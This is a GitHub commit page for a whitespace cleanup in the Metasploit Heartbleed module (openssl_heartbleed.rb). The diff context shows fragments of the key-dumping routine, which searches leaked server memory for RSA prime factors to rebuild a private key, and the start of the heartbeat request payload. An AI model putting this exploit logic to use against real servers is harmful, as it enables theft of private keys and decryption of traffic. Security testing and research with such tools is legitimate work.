Skip to content

Commit d40ab03

Browse files
author
Tod Beardsley
committed
Clean up whitespace. Protip: use commit hooks
1 parent c34d548 commit d40ab03

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/auxiliary/scanner/ssl/openssl_heartbleed.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -351,13 +351,13 @@ def getkeys()
351351
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
352352
return
353353
end
354-
354+
355355
print_status("#{peer} - Scanning for private keys")
356356
count = 0
357357

358358
print_status("#{peer} - Getting public key constants...")
359359
n, e = get_ne
360-
360+
361361
if n.nil? || e.nil?
362362
print_error("#{peer} - Failed to get public key, aborting.")
363363
end
@@ -373,8 +373,8 @@ def getkeys()
373373
end
374374

375375
p, q = get_factors(bleed, n) # Try to find factors in mem
376-
377-
unless p.nil? || q.nil?
376+
377+
unless p.nil? || q.nil?
378378
key = key_from_pqe(p, q, e)
379379
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
380380

@@ -393,7 +393,7 @@ def getkeys()
393393
count += 1
394394
}
395395
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
396-
end
396+
end
397397

398398
def heartbeat(length)
399399
payload = "\x01" # Heartbeat Message Type: Request (1)

0 commit comments

Comments
 (0)